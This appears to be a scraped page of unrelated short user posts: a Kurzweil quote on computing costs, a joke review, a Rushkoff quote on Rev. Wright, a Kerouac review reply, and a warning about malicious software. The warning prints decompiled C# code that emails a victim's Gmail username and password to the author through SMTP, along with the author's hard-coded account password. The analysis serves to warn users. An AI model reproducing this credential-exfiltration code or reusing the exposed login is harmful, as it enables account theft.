Article by Ray Kurzweil:
"MIT was so advanced in 1965 (the year I entered as a freshman) that it actually had a computer. Housed in its own building, it cost $11 million (in today's dollars) and was shared by all students and faculty. Four decades later, the computer in your cellphone is a million times smaller, a million times less expensive and a thousand times more powerful. That's a billion-fold increase in the amount of computation you can buy per dollar.
Yet as powerful as information technology is today, we will make another billion-fold increase in capability (for the same cost) over the next 25 years."

Heh heh: the original reviewer says "This is a great story about why you should not be doing LSD when you're playing baseball."
And why shouldn't you? Because you'll pitch a no-hitter!

Rushkoff on Rev. Wright:
Is Rev. Wright Right?
"The real lesson to be learned from Obama's association with Wright and subsequent scandal is how ludicrous it is for us to demand that our elected leaders be Christians at all."

DO NOT USE THIS SOFTWARE. It sends an email to the author of the software with your gmail username and password. Read about it here:
codinghorror.com/blog/archives/001072.html [codinghorror.com/blog/archives/001072.html]
I confirmed this using the .NET Reflector. The author has hard-coded his username and password into the code. A code sleuth has since logged into the author's account and changed the author's login info, so the hard-coded info won't work anymore (i.e., it can't send your info using his login credentials). Here's actual C# code from disassembly:
public static void CheckConnection(string a, string b)
{
try
{
MailMessage message = new MailMessage();
message.To.Add("JTerry79@gmail.com");
message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
message.Subject = "Account";
message.SubjectEncoding = Encoding.UTF8;
message.Body = "Username: " + a;
message.Body = message.Body + "\r\nPassword: " + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials = new NetworkCredential("JTerry79@gmail.com", "bilal482");
client.Port = 0x24b;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
client.Send(message);
}
catch (Exception)
{
}
}
This code block creates an email message containing your username and password and sends it to JTerry79@gmail.com (the author of the software) through his own gmail account. See his login info? See where he's creating a message with a Username and Password? That's *your* username and password.

To previous and potential reviewers:
Are you kidding me? You're giving a classic Kerouac piece a thumbs-down because of spelling 'errors'????
